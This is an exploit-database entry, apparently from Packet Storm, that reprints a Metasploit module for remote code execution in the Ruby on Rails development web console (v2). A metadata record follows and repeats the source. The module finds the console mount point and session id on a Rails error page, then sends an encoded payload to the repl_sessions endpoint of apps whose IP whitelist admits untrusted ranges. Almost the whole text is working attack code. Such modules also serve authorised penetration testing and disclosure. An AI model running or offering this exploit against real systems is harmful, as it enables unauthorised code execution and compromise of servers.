Ruby on Rails Development Web Console (v2) Code Execution
2016-05-06T00:00:00
ID PACKETSTORM:136930 Type packetstorm Reporter metasploit.com Modified 2016-05-06T00:00:00
Description
`##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Ruby on Rails Development Web Console (v2) Code Execution',
'Description' => %q{
This module exploits a remote code execution feature of the Ruby on Rails
framework. This feature is exposed if the config.web_console.whitelisted_ips
setting includes untrusted IP ranges and the web-console gem is enabled.
},
'Author' => ['hdm'],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://github.com/rails/web-console' ]
],
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' => [ ['Automatic', {} ] ],
'DefaultOptions' => { "PrependFork" => true },
'DisclosureDate' => 'May 2 2016',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(3000),
OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/missing404"])
], self.class)
end
#
# Identify the web console path and session ID, then inject code with it
#
def exploit
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
}, 25)
if ! res
print_error("Error: No response requesting #{datastore['TARGETURI']}")
return
end
if res.body.to_s !~ /data-mount-point='([^']+)'/
if res.body.to_s.index("Application Trace") && res.body.to_s.index("Toggle session dump")
print_error("Error: The web console is either disabled or you are not in the whitelisted scope")
else
print_error("Error: No rails stack trace found requesting #{datastore['TARGETURI']}")
end
return
end
console_path = $1 + "/repl_sessions"
if res.body.to_s !~ /data-session-id='([^']+)'/
print_error("Error: No session id found requesting #{datastore['TARGETURI']}")
return
end
session_id = $1
print_status("Sending payload to #{console_path}/#{session_id}")
res = send_request_cgi({
'uri' => console_path + "/" + session_id,
'method' => 'PUT',
'headers' => {
'Accept' => 'application/vnd.web-console.v2',
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
'input' => payload.encoded
}
}, 25)
handler
end
end
`
{"id": "PACKETSTORM:136930", "type": "packetstorm", "bulletinFamily": "exploit", "title": "Ruby on Rails Development Web Console (v2) Code Execution", "description": "", "published": "2016-05-06T00:00:00", "modified": "2016-05-06T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/136930/Ruby-on-Rails-Development-Web-Console-v2-Code-Execution.html", "reporter": "metasploit.com", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:22:03", "viewCount": 2, "enchantments": {"score": {"value": -0.1, "vector": "NONE", "modified": "2016-11-03T10:22:03", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:22:03", "rev": 2}, "vulnersScore": -0.1}, "sourceHref": "https://packetstormsecurity.com/files/download/136930/rails_web_console_v2_code_exec.rb.txt", "sourceData": "`## \n# This module requires Metasploit: http://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nrequire 'msf/core' \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \n \ninclude Msf::Exploit::Remote::HttpClient \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Ruby on Rails Development Web Console (v2) Code Execution', \n'Description' => %q{ \nThis module exploits a remote code execution feature of the Ruby on Rails \nframework. This feature is exposed if the config.web_console.whitelisted_ips \nsetting includes untrusted IP ranges and the web-console gem is enabled. \n}, \n'Author' => ['hdm'], \n'License' => MSF_LICENSE, \n'References' => \n[ \n[ 'URL', 'https://github.com/rails/web-console' ] \n], \n'Platform' => 'ruby', \n'Arch' => ARCH_RUBY, \n'Privileged' => false, \n'Targets' => [ ['Automatic', {} ] ], \n'DefaultOptions' => { \"PrependFork\" => true }, \n'DisclosureDate' => 'May 2 2016', \n'DefaultTarget' => 0)) \n \nregister_options( \n[ \nOpt::RPORT(3000), \nOptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', \"/missing404\"]) \n], self.class) \n \nend \n \n# \n# Identify the web console path and session ID, then inject code with it \n# \ndef exploit \n \nres = send_request_cgi({ \n'uri' => normalize_uri(target_uri.path), \n'method' => 'GET' \n}, 25) \n \nif ! res \nprint_error(\"Error: No response requesting #{datastore['TARGETURI']}\") \nreturn \nend \n \nif res.body.to_s !~ /data-mount-point='([^']+)'/ \nif res.body.to_s.index(\"Application Trace\") && res.body.to_s.index(\"Toggle session dump\") \nprint_error(\"Error: The web console is either disabled or you are not in the whitelisted scope\") \nelse \nprint_error(\"Error: No rails stack trace found requesting #{datastore['TARGETURI']}\") \nend \nreturn \nend \n \nconsole_path = $1 + \"/repl_sessions\" \n \nif res.body.to_s !~ /data-session-id='([^']+)'/ \nprint_error(\"Error: No session id found requesting #{datastore['TARGETURI']}\") \nreturn \nend \n \nsession_id = $1 \n \nprint_status(\"Sending payload to #{console_path}/#{session_id}\") \nres = send_request_cgi({ \n'uri' => console_path + \"/\" + session_id, \n'method' => 'PUT', \n'headers' => { \n'Accept' => 'application/vnd.web-console.v2', \n'X-Requested-With' => 'XMLHttpRequest' \n}, \n'vars_post' => { \n'input' => payload.encoded \n} \n \n}, 25) \n \nhandler \nend \nend \n`\n"}